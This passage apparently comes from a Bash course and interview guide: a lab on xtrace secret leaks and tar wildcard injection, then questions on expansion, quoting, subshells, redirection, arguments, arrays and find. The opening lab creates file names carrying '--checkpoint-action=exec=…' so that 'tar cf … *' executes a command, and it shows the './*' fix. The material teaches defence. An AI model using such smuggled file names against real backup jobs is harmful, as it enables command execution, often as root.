bash -xc '{ set +x; } 2>/dev/null; TOKEN=s3cr3t; : "$TOKEN"' 2>&1 | grep -c s3cr3t
3
0
mkdir inj && cd inj && touch a.txt -- '--checkpoint=1' '--checkpoint-action=exec=echo PWNED'
tar cf ../x.tar *; tar cf ../y.tar ./*; tar tf ../y.tar | head -3; cd ..
PWNED
./--checkpoint-action=exec=echo PWNED
./--checkpoint=1
./a.txt

The second run uses ./*, the dangerous filename is archived as an ordinary file, and nothing is executed. tar tf 's list order depends on glob sorting and locale.

Cleanup:
l8_clean; rm -f ~/bashlab/lab8/x.tar ~/bashlab/lab8/y.tar

Instructional video (title and channel verified via YouTube oEmbed)

Linux Crash Course - Scheduling Tasks with Cron — Learn Linux TV
English · cron basics (#39)
Why Crontab Scripts Are Not Working? [Linux/Ubuntu GUIDE] — Delft Stack
English · common reasons scripts fail in cron (#39)
Check Your Bash Scripts With Shellcheck — Fresh Forensics by Douglas Habian
English · ShellCheck (#40, #43, #50)
bash: special redirection (intermediate) anthony explains #311 — anthonywritescode
English · redirection details (#43)

No verified video was found that specifically covers Bash 3.2 compatibility, xtrace secret leaks and glob option injection. Storyboard:

Shot 1 (0:00) The same script runs fine in the terminal; l8_cronlike fails with jq: not found; print the env of both sides and diff.
Shot 2 (0:50) sh deploy.sh reports Syntax error: "(" unexpected; readlink -f /bin/sh shows dash; change it to ./deploy.sh.
Shot 3 (1:40) Create a --checkpoint-action=exec=… file in the upload directory; root's backup script tar cf … * executes it; change it to tar -C dir -cf … ..

Official docs

or score ≥ 70% on the quiz

Module 5 · Part B: Shell mechanics and basics (interview 1–13)

30:00 – 37:00 · execution of a command line, expansion order, quoting, command types, subshells, environment variables, startup files, exit codes, redirection,"$@",[ ]/[[ ]]/(( )),source and exec, shebang and versions
7 minutesmechanics → code → production experience13 questions
Learning goals
  • On a whiteboard, draw the path from pressing Enter onward; each step maps to one fault number in Part A.
  • Answer “why” questions: why cd must be a builtin, why variables changed in a pipeline are lost, why sudo echo > file does not work, 2>&1 >file and >file 2>&1 differ.
  • Every answer should be tied to a snippet of code that can be verified on the spot.

Browse the questions and their focus first, mark the ones you are unsure of; click a row to jump to the details.

Q1. Type grep -c "$pat" *.log > count.txt and press Enter: what does Bash do from reading this line to obtaining the exit code?Intermediate
30-second answer

Read the line → tokenize (words / operators; quoting defines boundaries) → alias (only interactively, or when expand_aliases is set) → expansion (brace, tilde, parameter / arithmetic / command substitution, splitting, pathname, quote removal) → redirection (open count.txt) → lookup (function → builtin → PATH hash / search) → external command fork, the child process runs after redirection; execve a builtin runs in the current shell → the parent wait, the status is stored in $?.

In-depth answer
  • Quoting defines boundaries during the lexical stage and is removed last: "$pat" one word,*.log expands into several (#5, #6).
  • Redirection is done in the child process execve before the command starts, as the current user (hence #43); on failure it does not run and the exit code is 1.
  • Exit codes: 0 success; grep 1 means no match (#22); 126 not executable; 127 not found; 128+N killed by signal N.
set -x; grep -c "$pat" *.log > count.txt; set +x  # see the argv after expansion
strace -f -e trace=clone,clone3,execve,openat,dup2,wait4 bash -c 'grep -c x *.log > c.txt'
Common follow-up questions
  • Does PATH lookup have a cache? Yes,hash table: after a new version is installed in an earlier directory, the old path is still used until hash -r is cleared.
  • *.log No match? is passed to grep as is by default (#6); it can be changed with nullglob/failglob .
Bonus points

Corresponding Part A items: #1/#5 splitting, #6 globbing, #13 CRLF's \r, #43 redirection identity, #45 (126), #39 (127).

Common wrong answers

“The shell hands the whole line to grep to parse” — grep only receives the expanded argv and never sees quotes or wildcards.

See Lesson 1 Module 4,Lesson 1 Module 5.

Q2. What kinds of expansion does Bash have? What is the order? Why does order matter?Intermediate
30-second answer

① brace → ② tilde → ③ parameter, arithmetic and command (and process) substitution, left to right at the same level → ④ word splitting → ⑤ pathname expansion → ⑥ quote removal. Only ①④⑤ change the number of words.

In-depth answer
  • Brace expansion comes before variables: n=3; echo {1..$n} output {1..3} ($n is still a literal), so use seq or a C-style for.
  • Tilde expansion comes before variables: a ~ in a variable value is not expanded (#7).
  • Splitting and globbing happen after substitution: unquoted variable values are split and treated as wildcards (#1, #2); ④⑤ are skipped inside double quotes.
  • The right-hand side of an assignment is not split or globbed: x=$y is safe; local x=$(…) it still has the exit-code issue (#27).
n=3; echo {1..$n}; echo $(seq 1 "$n")
v='*'; echo $v; echo "$v"
Common follow-up questions
  • When does IFS take effect? Only in word splitting and read,"$*" joining; literal words are not affected.
  • $'…' Which step does belong to? It is quoting (ANSI-C quoting), handled in the lexical stage.
Bonus points

Recite the original order in the manual's “Shell Expansions”; the 5.3 ${ cmd; } also counts as command substitution, except that it does not fork.

Common wrong answers

“Expand variables before braces” —{1..$n} failing to work is proof of the contrary.

See Lesson 1 Module 4: The seven expansion steps and their order.

Q3. What is the difference between single quotes, double quotes,$'…', and backslashes? How do you put a single quote inside a single-quoted string?Beginner
30-second answer

Single quotes: fully literal, no expansion, cannot contain a single quote. Double quotes: $, backticks,\ (before certain characters),! (interactive history) are still special, with no splitting and no globbing. $'…': ANSI-C quoting, which supports \n \t \r \x41 \' escapes such as the ones shown. Backslash: escapes the next character.

In-depth answer
echo 'It'\''s fine'  # end the single quote → escaped ' → start a new single-quoted section
echo $'It\'s fine\tTAB'  # ANSI-C quoting
printf '%s\n' "$HOME" '$HOME'  # expansion vs literal
grep -c $'\r' file  # look for carriage returns (#13)
  • Command substitution "$(…)" inside it is a new quoting context, so double quotes can be nested: "$(dirname "$f")".
  • $"…" is a localized translation string, rarely used; do not confuse it with $'…' .
Common follow-up questions
  • When should you not quote? On the right side of an assignment,[[ ]] the left side of case words; [[ $x == $pattern ]] in pattern matching, do not quote the right side (quoting makes it a literal comparison).
Bonus points

printf '%q', and Bash 4.4's ${var@Q} produce strings that can be safely passed back to the shell (#11).

Common wrong answers

“Nothing is expanded inside double quotes” or “inside single quotes you can escape a single quote with a backslash”.

See Lesson 1 Module 3 Quoting.

Q4. What kinds of "commands" are there in Bash? type -a What does cd,read, and export tell you? Why must these be builtins?Beginner
30-second answer

Aliases, keywords (if [[ while function), functions, builtins (cd read echo printf test/[) and external commands (files in PATH); lookup follows this order; type -a name use type -a to list all definitions with the same name. Commands that change the current shell state (directory, variables, environment, options) must be builtins: a child process cannot change its parent.

In-depth answer
type -a echo test [ [[ cd time
command -v jq  # detect in scripts whether a command exists (POSIX)
command ls; builtin cd /tmp; \ls  # skip functions and aliases
  • [[ is a keyword; its operands' boundaries are known at parse time, so there is no splitting or globbing (#4); [ is a builtin; its arguments are expanded first.
  • echo has both a builtin and /usr/bin/echo,-e,-n behave differently; for portable output, use printf.
  • time is a keyword that can time the entire pipeline; /usr/bin/time is an external command.
Common follow-up questions
  • What can you still do if fork fails? Only builtins can be used (echo,kill,read,exec).
  • timeout Why can't you run a function? It is an external program, so it can only run execvp files (#38).
Bonus points

A function with the same name can "hijack" a command (ls(){ …; }): safe scripts use command/ absolute paths, begin with unalias -a, and do not trust functions exported by callers (the Shellshock-era BASH_FUNC_* environment-variable mechanism).

Common wrong answers

“[ "Treating [[ as the same, just written differently."

See Lesson 1 Module 2: Command types.

Q5. Which constructs create subshells? ( … ) What is the difference between { …; } ? And $$ versus $BASHPID ?Intermediate
30-second answer

Sources of subshells: ( … ),$( … ), each pipeline segment (the last one by default), background &, process substitution <( … ), coprocess; { …; } run in the current shell. Changes to variables, directories, options or traps in a subshell do not affect the parent shell. $$ $$ always gives the main shell's PID,$BASHPID $BASHPID is the real PID of the current (sub)shell.

In-depth answer
x=1; ( x=2; cd /tmp ); echo "$x $PWD"  # 1, the original directory
x=1; { x=2; cd /tmp; }; echo "$x $PWD"  # 2 /tmp
echo "$$ $BASHPID"; ( echo "$$ $BASHPID" )
  • Typical fault: in a pipeline, while read loses variables (#15); inside a subshell, exit exit only leaves the subshell; $( ) does not inherit by default set -e (from 4.4 there is inherit_errexit).
  • Intentional use: ( cd dir && make ) to isolate directories; ( set +e; risky ) to locally turn off options.
  • Performance: subshells must fork, so many $(…) inside a loop is slow; Bash 5.3's ${ cmd; } does not fork (Lesson 7 Module 5).
Common follow-up questions
  • lastpipe When does it take effect? When job control is off (non-interactive scripts), the last pipeline segment runs in the current shell.
Bonus points

Draw the pipeline process structure (Figure 2-1), and explain why the same code works in zsh/ksh.

Common wrong answers

“Braces are also a subshell”, or “$$ changes inside a subshell.”

See Lesson 1 Module 7 Variables, environment and subshells.

Q6. What is the difference between shell variables and environment variables? export,VAR=x cmd,env, and declare -x — what does each do?Beginner
30-second answer

A shell variable is limited to the current process; an environment variable lives in the process environment block and is copied to child processes when execve a child process is started. export VAR ( declare -x) marks an export; VAR=x cmd applies only to that command; env -i cmd runs in an empty environment. The environment only flows from parent to child, so you need source to “load” variables (#49).

In-depth answer
X=1; bash -c 'echo "[$X]"'; export X; bash -c 'echo "[$X]"'  # [] [1]
declare -p X  # declare -x X="1"
LC_ALL=C sort file  # affects only sort
env -i PATH=/usr/bin:/bin ./job.sh  # simulates cron (#39)
  • For builtins or functions, using VAR=x func: behavior differs in POSIX mode (special builtins keep assignments); do not rely on it.
  • Sensitive data in environment variables can be read by same-user processes via /proc/PID/environ , or env printed into logs (#46).
Common follow-up questions
  • Can functions be exported? export -f f, passed via BASH_FUNC_f%% environment variables; only a child bash can use it (#38).
Bonus points

Relate the precedence and safety of command-line arguments, environment variables and config files (Q23).

Common wrong answers

“export writes the variable into .bashrc to make it permanent”.

See Lesson 1 Module 7.

Q7. Which startup files do login shells, interactive shells and non-interactive shells read? Why do scripts not have your aliases and PATH?Intermediate
30-second answer

Interactive login: /etc/profile, then reads ~/.bash_profile,~/.bash_login,~/.profile the first one that exists among ~/.bash_logout. Interactive non-login: ~/.bashrc (distributions often add /etc/bash.bashrc). Non-interactive (scripts): reads only $BASH_ENV the file pointed to by BASH_ENV, usually nothing. When invoked as sh name, it imitates POSIX sh (reads /etc/profile,~/.profile or $ENV).

In-depth answer
  • Convention: ~/.bash_profile in source ~/.bashrc, login shells also have interactive configuration.
  • Special case: when stdin comes from a network connection (sshd runs ssh host cmd Bash reads ~/.bashrc (depends on build options; follow the actual output), so .bashrc the start of the file often says “return if non-interactive”.
  • Scripts must not depend on any personal configuration (#42); GitHub Actions' bash --noprofile --norc explicitly does not read them.
echo "$-"; shopt -q login_shell && echo login || echo non-login
bash -lc 'echo $PATH'  # run as a login shell (reads profile)
Common follow-up questions
  • Where does the environment of a systemd service come from? The unit's Environment=/EnvironmentFile= and the manager's environment; shell startup files are not read.
Bonus points

BASH_ENV BASH_ENV is an attack surface (after injection, every non-interactive bash runs it first); in containers and CI, make sure it is unset.

Common wrong answers

“A bash script executes ~/.bashrc first.”

See Lesson 1 Module 1: Interactive vs script, and startup files.

Q8. Explain exit codes: what do 0, 1, 2, 126, 127 and 128+N each mean? How do you design exit codes for your script?Beginner
30-second answer

0 success; 1 general error; 2 usage error (builtin convention); 126 found but not executable (permissions, noexec, is a directory); 127 not found; 128+N terminated by signal N (130 Ctrl-C, 137 SIGKILL/OOM, 141 SIGPIPE, 143 SIGTERM); timeout timeout 124. Only 8 bits (#47).

In-depth answer
readonly E_OK=0 E_GENERIC=1 E_USAGE=2 E_DEPS=3  # opsctl's convention
usage() { echo "usage: opsctl <command> [options]" >&2; exit "$E_USAGE"; }
command -v jq >/dev/null || { log::error "jq required"; exit "$E_DEPS"; }
rc=0; some_cmd || rc=$?; (( rc > 128 )) && echo "killed by $(kill -l $((rc-128)))"
  • Pipeline exit codes and PIPESTATUS,pipefail (#28); ! negation with !; if/&& consumption of exit codes.
  • Apart from 64–78 (sysexits.h conventions), avoid values that conflict with 126+; do not use exit codes to return data.
Common follow-up questions
  • Must container exit code 137 mean OOM? Not necessarily; it can also be a SIGKILL after the grace period (#33); check the OOMKilled field and kernel logs.
Bonus points

Callers (CI, systemd SuccessExitStatus=, monitoring) route by exit code: 124 retry, 1 alert, 2 fix the usage.

Common wrong answers

“Any non-zero is just failure”—losing the diagnostic information.

See Lesson 1 Module 6,Lesson 3 Module 6 Exit code conventions.

Q9. cmd >file 2>&1 and cmd 2>&1 >file ? How do you send only stderr into a pipe?Intermediate
30-second answer

Redirections are processed left to right,2>&1 i.e. “fd 2 copies fd 1 as it points at this point's destination”. >file 2>&1: with >file 2>&1, 1 points to the file first, then 2 copies it, so both go to the file. 2>&1 >file: with 2>&1 >file, 2 first points to the original stdout (terminal), then 1 points to the file, so only stdout goes to the file.

In-depth answer
cmd 2>&1 >/dev/null | grep ERROR  # send only stderr into the pipe; discard stdout
cmd &> all.log  # Bash shorthand, equivalent to >all.log 2>&1
cmd |& tee all.log  # Bash 4+: equivalent to 2>&1 |
exec 3>>"$log"; echo "to fd3" >&3; exec 3>&-  # open, use and close a custom fd
exec > >(tee -a "$log") 2>&1  # inside a script: all output from now on is also written to the log
  • The pipe is set up before the redirection, so 2>&1 >/dev/null | in the command above, fd 2 copies the pipe.
  • Writing logs to stderr and data to stdout is the basic convention (Lesson 4 Module 5), so that out=$(opsctl …) only data is captured.
Common follow-up questions
  • > What is the difference between >> and concurrent writes? >> is O_APPEND (#37).
  • noclobber? set -C Prevents > overwriting an existing file,>| forces overwriting.
Bonus points

use ls -l /proc/$$/fd or strace -e dup2 to prove it on the spot; {fd}>file automatically allocate fds (Bash 4.1+).

Common wrong answers

“The two are the same; order does not matter.”

See Lesson 1 Module 5 Redirection and file descriptors.

Q10. "$@","$*",$@, and $* what is the difference? Write a wrapper script that forwards arguments.Beginner
30-second answer

"$@": each argument stays one word, preserved as-is; use it for forwarding only; "$*": joins them with the first character of IFS into one string, for logging; unquoted $@/$* will be split and globbed again; this is almost always wrong (#10).

In-depth answer
#!/usr/bin/env bash
# kubectl wrapper: force the context, forward the remaining arguments as-is
set -euo pipefail
ctx=${KCTX:?set KCTX}
log() { printf '%s %s\n' "$(date -u +%FT%TZ)" "$*" >&2; }
log "kubectl --context $ctx $*"
exec kubectl --context "$ctx" "$@"
  • The array works the same way: "${arr[@]}" vs "${arr[*]}"; "${@:2}" takes the arguments from the 2nd one onward; $# the count; shift.
  • exec replace the wrapper script, so signals and exit codes go straight to the target program (#33).
Common follow-up questions
  • How do you pass arguments to a remote host via ssh? The remote side parses them again: ssh h "cmd $(printf '%q ' "$@")" (#11).
Bonus points

Use printf '<%s>\n' "$@" to demonstrate the boundary on the spot.

Common wrong answers

“$* and $@ make no difference.”

See Lesson 3 Module 1: Function arguments.

Q11. [ ],[[ ]], and (( )) What is the difference between them, and when should each be used?Beginner
30-second answer

[ (= test): POSIX builtin; arguments are split and globbed first, variables must be quoted; use =,-eq,-a/-o (not recommended). [[ ]]: keyword; no splitting or globbing; supports == patterns,=~ regex,&& ||,< > string comparison. (( )): arithmetic evaluation with C-style operators; a non-zero result returns 0.

In-depth answer
[ -n "$v" ] && [ "$a" = "$b" ]  # POSIX sh
[[ $file == *.log && -s $file ]]  # pattern matching + file test
[[ $ver =~ ^v([0-9]+)\.([0-9]+)$ ]] && echo "major=${BASH_REMATCH[1]}"
(( retries < max )) && retries=$((retries+1))
  • Pitfalls: [[ 10 < 9 ]] is a string comparison (#17); [[ $x == "$p" ]] quoting the right side makes it a literal comparison; =~ do not quote the right side of a regex; store complex regexes in a variable first.
  • (( )) a result of 0 returns 1,set -e so be careful under set -e (#30); validate untrusted input before arithmetic (#8).
Common follow-up questions
  • Which one can you use in dash? Only [; [[ reports [[: not found (#40).
Bonus points

Explain [ -n $v ] why an empty value is true in POSIX (#4).

Common wrong answers

“[[ “It's just a newer version [; the usage is the same.”

See Lesson 2 Module 4: Conditionals.

Q12. source script,./script,bash script,exec script What is the difference?Intermediate
30-second answer

source/.: runs line by line in the current shell and can change the current variables, directory and functions; ./script: a new process; the kernel picks the interpreter from the shebang; requires the execute bit; bash script: a new process; forces bash, ignores the shebang, and does not need the execute bit; exec script: replaces the current shell process (PID unchanged); the code after it does not run.

In-depth answer
  • In a script that is sourced, exit exit will quit the interactive shell; use return for library files; to test whether a script was sourced: [[ ${BASH_SOURCE[0]} != "$0" ]].
  • sh script interpreted with sh (#40); bash script bypassing #!/usr/bin/env python3 the shebang, so Python is run as if it were Bash.
  • exec Use cases: the final step of a container entrypoint, wrapper scripts; exec >log only changes redirections, without replacing the process.
if [[ ${BASH_SOURCE[0]} == "$0" ]]; then main "$@"; fi  # both executable and testable when sourced (bats)
Common follow-up questions
  • ./set-env.sh Why is it ineffective? A child process cannot change the parent's environment (#49).
Bonus points

Connect the "sourceable main guard" with unit-testing functions in bats (Q34).

Common wrong answers

“They are all the same, just written differently.”

See Lesson 1 Module 8,Lesson 3 Module 4.

Q13. Which shebang would you use? #!/bin/sh,#!/bin/bash,#!/usr/bin/env bash How do you choose? Do the differences between Bash 3.2 / 5.2 / 5.3 affect you?Senior
30-second answer

If you use Bash features, declare Bash: #!/usr/bin/env bash find bash via PATH, which is more portable on macOS (Homebrew), NixOS, FreeBSD (/usr/local/bin/bash) and is more portable; #!/bin/bash a fixed path that PATH cannot influence, suitable for system scripts run as root. Use pure POSIX only #!/bin/sh, and test with dash. At runtime, use BASH_VERSINFO to check the minimum version.

In-depth answer
  • 3.2 (macOS /bin/bash): no associative arrays,mapfile,${x,,}, nameref,set -u under set -u an empty array errors (#41).
  • 4.4: "${arr[@]}" An empty array under set -u no longer errors; also inherit_errexit,${var@Q},mapfile -d.
  • 5.2 (Ubuntu 24.04 is 5.2.21): patsub_replacement (in replacement strings & by default refers to the matched text, which may affect old scripts),varredir_close and others.
  • 5.3 (2025-07; Ubuntu 26.04): non-forking ${ cmd; } / ${| cmd; },GLOBSORT,BASH_TRAPSIG,read -E,source -p,array_expand_once.
  • env Shebang arguments are not portable (on Linux the #!/usr/bin/env bash -e argument string bash -e is taken as one program name; GNU env -S splits it (the error in #13 also hints at this); options go into the script's set.
#!/usr/bin/env bash
set -Eeuo pipefail
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) || { echo "need bash >= 4.4" >&2; exit 3; }
Common follow-up questions
  • env What are the security risks of the env-based shebang? when run as root, a tampered PATH can execute a malicious bash; system scripts use an absolute path or run under sudo secure_path with a fixed PATH.
Bonus points

Know patsub_replacement the options that change old behavior; you can use BASH_COMPAT / shopt -s compat42 compatibility levels to temporarily restore old behavior.

Common wrong answers

“#!/bin/sh “/bin/sh is bash”—on Debian/Ubuntu/Alpine it is not.

See Lesson 1 Module 1,Lesson 7 Module 6.

Whiteboard diagram for interviews: the life of a command line (Q1, Q2, Q4, Q8, Q9) Read + lexical analysisQuoting defines boundaries #13 AliasesDisabled in scripts #42 Expansion (6 steps)#1–#10 RedirectionLeft to right #43 Command lookupFunction → builtin → PATH fork/execor builtin · 126/127 wait → $?8 bits · 128+N Runs in the current shell (no fork)Builtins: cd read export set trap exec sourceKeywords: if [[ (( { } case for whileFunction calls, ${ cmd; } (5.3)→ can change variables, directory, options, trap Runs in a child process / subshellExternal command (fork + execve)( … ) · $( … ) · pipeline segments · & · <( … )Inherits only: exported environment, open fds, ignored signals→ changes are not passed back (#15 #49)
Figure 5-1 Draw and explain: each box can cite one fault from Part A

Scenario 5-1: the same script works in a developer's terminal, but fails in three different ways in Jenkins / cron / containers

A release.sh: the developer runs it fine; in Jenkins' sh 'sh release.sh' it reports Syntax error: "(" unexpected; in cron it reports aws: command not found; in an Alpine container date -d fails. Give a systematic troubleshooting approach and a one-time root-cause fix.

Reference answer points
  • Attribute the three symptoms to one root cause, the execution environment: the interpreter (sh → dash, #40), the environment (cron's minimal PATH, #39), tool implementations (BusyBox, #48).
  • Troubleshooting: print readlink -f /bin/sh,$BASH_VERSION,env,date --version; reproduce locally with env -i and the target container.
  • Fix: shebang + execute bit, and callers only write ./release.sh; set PATH/LC_ALL at the start of the script,util::require_cmd aws jq date check dependencies and exit 3 if missing; declare supported platforms, install GNU coreutils in the container image or switch to portable code; in CI run the bats tests and shellcheck.

Scenario 5-2: explain to the team "why you should not put source ~/.bashrc”

in scripts. Some people, so that scripts can use kubectl aliases and nvm's node, added source ~/.bashrc to all scripts. Explain the problem and give an alternative.

Reference answer points
  • Problem: .bashrc is meant for interactive shells; scripts often detect non-interactive mode at the top and return (so nothing is loaded); even if it is loaded, it brings in each person's different aliases, functions and set options, pollutes stdout with prompts, slows startup, and makes the behavior depend on who runs it (#42, Q7).
  • Aliases are not expanded by default in scripts; what is needed is the tool's path and version.
  • Alternatives: declare dependencies and PATH explicitly in the script; pin tool versions via the CI image / devcontainer / version manager; define functions when a shorthand is needed; in the README, give make bootstrap -style environment setup commands.
or score ≥ 70% on the quiz

Module 6 · Part B: Script design and data processing (interview 14–25)

37:00 – 44:00 · CLI structure, argument parsing, function return values, dynamic scope, arrays, filenames, awk reports, jq / yq, CSV, configuration precedence, here-doc and process substitution, performance
7 minutesdesign → data → performance12 questions
Learning goals
  • Use opsctl's structure (entry dispatch,lib/ modules,module::function naming, exit-code conventions) to answer “how do you organize a 2000-line ops script?”
  • Be able to write on the spot: getopts parsing, nameref returning arrays, NUL-safe file traversal, awk aggregated reports, and jq value extraction and validation.
  • Know Bash's limits: when to hand off to awk / jq / Python.

Browse the questions and their focus first; click a row to jump to the details.

Q14. How would you organize a team-shared ops CLI script (dozens of subcommands, over a thousand lines)?Intermediate
30-second answer

One entry point + multiple libraries: bin/opsctl only does strict mode, locates the directory, loads libraries, parses global options, and dispatches subcommands; lib/log.sh (logs go to stderr),lib/util.sh (util::die,util::require_cmd),lib/config.sh (configuration merging, Q23), one per subcommand lib/cmd_<name>.sh (functions cmd::<name>); unified help, exit codes (0/1/2/3) and configuration load order; test/*.bats, CI enforces it with ShellCheck + shfmt.

In-depth answer
#!/usr/bin/env bash
set -Eeuo pipefail
OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd -P)
source "$OPSCTL_HOME/lib/log.sh"; source "$OPSCTL_HOME/lib/util.sh"; source "$OPSCTL_HOME/lib/config.sh"
main() {
  local cmd=${1:-help}; shift || true
  case $cmd in
    -h|--help|help) cmd::help; return ;;
  esac
  [[ $cmd =~ ^[a-z][a-z0-9-]*$ && -f $OPSCTL_HOME/lib/cmd_${cmd//-/_}.sh ]] || { log::error "unknown command: $cmd"; cmd::help >&2; return 2; }
  source "$OPSCTL_HOME/lib/cmd_${cmd//-/_}.sh"
  "cmd::${cmd//-/_}" "$@"
}
[[ ${BASH_SOURCE[0]} == "$0" ]] && main "$@"
  • Data goes to stdout and logs go to stderr, so subcommands can be composed (opsctl servers list --env prod | xargs …).
  • Validate subcommand names against a whitelist before building file names, to prevent path traversal and injection (#11).
  • A last-line guard lets bats source source the file and unit-test its functions.
Common follow-up questions
  • When should you stop using Bash? See Q47: complex data structures, the need for concurrency control and error recovery, more than a thousand or two lines, and the need for unit-test coverage.
Bonus points

Cite the Google Shell Style Guide: lowercase function names + :: modules,main function names; uppercase constants with readonly, local variables local, and consider switching languages beyond about 100 lines.

Common wrong answers

“One big file written from top to bottom, passing arguments through globals”.

See Lesson 3 Module 6: Subcommand-style CLI design,Lesson 3 Module 8: opsctl v0.1.

Q15. What is the difference between getopts and getopt? How do you support long options?Intermediate
30-second answer

getopts: a POSIX builtin, short options only (-e prod -v, combined -ve prod), portable and safe. getopt (the util-linux enhanced version): an external command that supports long options and argument reordering, but older BSD/macOS does not support long options and mishandles spaces. For long options, the most portable choice is to hand-write while/case.

In-depth answer
env=dev verbose=0
while (( $# )); do
  case $1 in
    -e|--env)    env=${2:?--env needs a value}; shift 2 ;;
    --env=*)     env=${1#*=}; shift ;;
    -v|--verbose) verbose=1; shift ;;
    -h|--help)   usage; exit 0 ;;
    --)          shift; break ;;
    -*)          echo "unknown option: $1" >&2; usage >&2; exit 2 ;;
    *)           break ;;
  esac
done
[[ $env =~ ^(dev|staging|prod)$ ]] || { echo "bad env: $env" >&2; exit 2; }
  • getopts version: while getopts ':e:vh' opt; do case $opt in e) env=$OPTARG;; …; :) echo "-$OPTARG needs a value";; \?) echo "bad option -$OPTARG";; esac; done; shift $((OPTIND-1)); calling it several times inside a function requires local OPTIND.
  • Validate option values (enumerations, regex); return 2 for usage errors.
Common follow-up questions
  • How do you pass through unchanged -- the arguments after See above --) branch; for the remaining arguments, use "$@" to forward them (Q10).
Bonus points

Merge options, environment variables and config files by precedence (Q23); write bats tests for the help output.

Common wrong answers

“Taking by position directly $1 $2”—it breaks as soon as the order changes.

See Lesson 3 Module 5: Argument parsing.

Q16. How does a Bash function "return" a string or an array? return, command substitution, nameref and global variables each have what trade-offs?Intermediate
30-second answer

return It only returns a 0–255 status (#47). To return data: ① print to stdout and then x=$(f): the most common, but with subshell overhead, trailing newlines stripped, and variable changes inside the function lost; ② nameref (4.3+,local -n out=$1) writes directly into the caller's variable, suitable for arrays; ③ a global variable by convention (e.g. REPLY); ④ Bash 5.3's ${| f; } runs in the current shell and takes REPLY, without forking.

In-depth answer
get_hosts() {  # nameref returns an array
  local -n _out=$1; local env=$2
  mapfile -t _out < <(awk -F, -v e="$env" 'NR>1 && $2==e {print $1}' ~/bashlab/data/servers.csv)
}
get_hosts hosts prod; printf '%s\n' "${hosts[@]}"
upper() { REPLY=${1^^}; }; v=${| upper "abc"; }; echo "$v"  # Bash 5.3
  • nameref pitfall: if the reference name matches a function-local variable name, you get a circular reference (local -n ref=ref reports circular name reference); prefix local variables _.
  • Detect failures of functions inside command substitution: x=$(f) || return (#27).
Common follow-up questions
  • Why not use eval "$1=\$value"? Injection risk (#11); nameref is the safe alternative.
Bonus points

Bash 5.3's ${ cmd; } / ${| cmd; } is designed for “taking the return value without forking”; older versions still need the traditional approach.

Common wrong answers

“Use return "$string"”.

See Lesson 3 Module 3: Output and return values: command substitution, return and nameref.

Q17. What kind of scope does local have? What bugs can “dynamic scope” cause?Senior
30-second answer

Bash uses dynamic scope: it searches up the call stack (not the source structure) for the nearest definition. local x With x visible in this function and all functions it calls, and restored on return. Consequences: a called function may accidentally modify the caller's locals; forgetting local pollutes the global scope.

In-depth answer
log_count() { count=$((count+1)); }  # forgot local; the intent was to modify the "global" count
process() { local count=0; log_count; echo "process sees count=$count"; }
count=100; process; echo "global count=$count"
# output: process sees count=1 / global count=100: log_count modified process's local
  • Convention: all variables inside functions are local; library function locals get a prefix (_log_level) to avoid conflicts; to modify the caller's variables, use nameref explicitly (Q16).
  • local Only inside functions; inside a function declare is equivalent to local (declare -g declares global).
  • local x=$(cmd) has the exit code issue (#27).
Common follow-up questions
  • What is the difference between a subshell and local? A subshell is process isolation (changes are not passed back); local is a scope stack within the same process.
Bonus points

Know shopt -s localvar_inherit (5.0+),localvar_unset and similar options that adjust local-variable semantics, but do not usually rely on them.

Common wrong answers

“local is lexically scoped, like in other languages”.

See Lesson 3 Module 2: Scope: local, dynamic scope and global variables.

Q18. When do you use indexed arrays and when do you use associative arrays? List 3 common array mistakes.Beginner
30-second answer

Indexed arrays: ordered lists (host lists, command arguments #10,mapfile lines read in). Associative arrays (4+, must be declared with declare -A) are key-value maps (host → PID, counts, deduplicated sets). Common mistakes: ① iterating over ${arr[@]} without quotes; ② forgetting declare -A, so all keys evaluate arithmetically to index 0; ③${#arr} is the length of the first element; the number of elements is ${#arr[@]}.

In-depth answer
declare -A seen=(); for ip in "${ips[@]}"; do seen[$ip]=1; done; echo "${#seen[@]} unique"
m[foo]=1; m[bar]=2; declare -p m  # missing declare -A: declare -a m=([0]="2") (keys evaluate arithmetically; foo and bar are both 0)
arr=(a "b c"); echo "${#arr[@]} ${#arr}"  # 2 1
  • Associative arrays are unordered; for stable output, for k in "${!m[@]}" sort afterwards.
  • Sparse arrays: unset 'arr[1]' after an unset, indices are not contiguous; iterate over indices with "${!arr[@]}" ; unset quote the arguments to prevent globbing.
  • Bash 3.2 has no associative arrays (#41); arrays cannot be exported to the environment.
Common follow-up questions
  • How do you pass an array to a function? f "${arr[@]}" (by value), or nameref (by reference).
Bonus points

Untrusted input used as keys has injection risk in arithmetic contexts; Bash 5.3's array_expand_once is designed to reduce “expanding the subscript twice”.

Common wrong answers

“A Bash array is just a space-separated string”.

See Lesson 2 Module 3: Arrays and associative arrays.

Q19. Write code that recursively finds the files older than 7 days *.log and compresses them, safe for any filename.Intermediate
30-second answer

find Output NUL-separated filenames and hand them to xargs -0 or while IFS= read -r -d '', with all arguments prefixed by --; or directly use find … -exec cmd -- {} +. Do not parse ls, and do not use for f in $(find …) (#5, #23).

In-depth answer
find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -print0 |
  xargs -0 -r -n 100 gzip --  # batch

find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -exec gzip -- {} +  # no pipe needed

while IFS= read -r -d '' f; do  # when each file needs complex processing
  size=$(stat -c %s -- "$f")  # GNU stat; BSD uses stat -f %z
  (( size > 0 )) && gzip -- "$f"
done < <(find "${LOG_DIR:?}" -type f -name '*.log' -mtime +7 -print0)
  • -mtime +7 means "modified more than 7×24 hours ago (truncated to whole days)"; be clear about the boundary.
  • First -print dry-run, then execute; for deletion, use find … -delete (last), and quote paths with ${var:?} (#2).
  • In the process-substitution version, find failures in the producer are not set -e caught.
Common follow-up questions
  • How do you test filenames containing newlines? touch $'a\nb.log'; ~/bashlab/data/files/ is designed precisely for this.
Bonus points

logrotate or journald is the real answer; the script is only a fallback (Lesson 6 Module 5).

Common wrong answers

for f in $(find . -name "*.log"); do gzip $f; done.

See Lesson 5 Module 4.

Q20. Using Bash tools, how would you count the top 10 client IPs and the 5xx ratio from nginx access.log? Why?Intermediate
30-second answer

One awk pass scans and aggregates, without using grep | cut | sort | uniq to read the file repeatedly; in the combined format: $1 is the IP,$9 is the status code (the request line is quoted; after splitting on spaces, the status code is field 9, provided the request line has no unusual spaces). Fix the sort order LC_ALL=C.

In-depth answer
